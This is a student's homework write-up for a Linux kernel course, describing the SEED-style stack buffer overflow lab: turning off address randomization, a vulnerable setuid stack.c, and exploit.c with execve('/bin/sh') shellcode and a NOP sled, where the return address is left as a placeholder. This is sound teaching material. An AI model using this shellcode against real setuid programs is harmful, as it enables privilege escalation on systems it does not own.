20199322《Linux内核原理与分析》第十三周作业

缓冲区溢出

实验描述

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被某些用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

实验环境

实验楼

环境配置

安装32位C语言编译程序
20199322《Linux内核原理与分析》第十三周作业_第1张图片
使用bash补全命令
20199322《Linux内核原理与分析》第十三周作业_第2张图片

开始实验

尝试关闭地址空间随机化功能,这是本次实验是否能成功的关键
20199322《Linux内核原理与分析》第十三周作业_第3张图片

观察这段代码

#include 
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
exec

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。

保存以下代码,命名为“stack.c”

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include 
#include 
#include 

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

20199322《Linux内核原理与分析》第十三周作业_第4张图片

设置SET-UID
20199322《Linux内核原理与分析》第十三周作业_第5张图片

保存下面这段代码,命名为exploit.c

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include 
#include 
#include 

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

20199322《Linux内核原理与分析》第十三周作业_第6张图片

总结

本周的实验,比前两次的实验都来的略微复杂,很多要用到本科期间的知识,而我已经不幸忘记。

你可能感兴趣的:(20199322《Linux内核原理与分析》第十三周作业)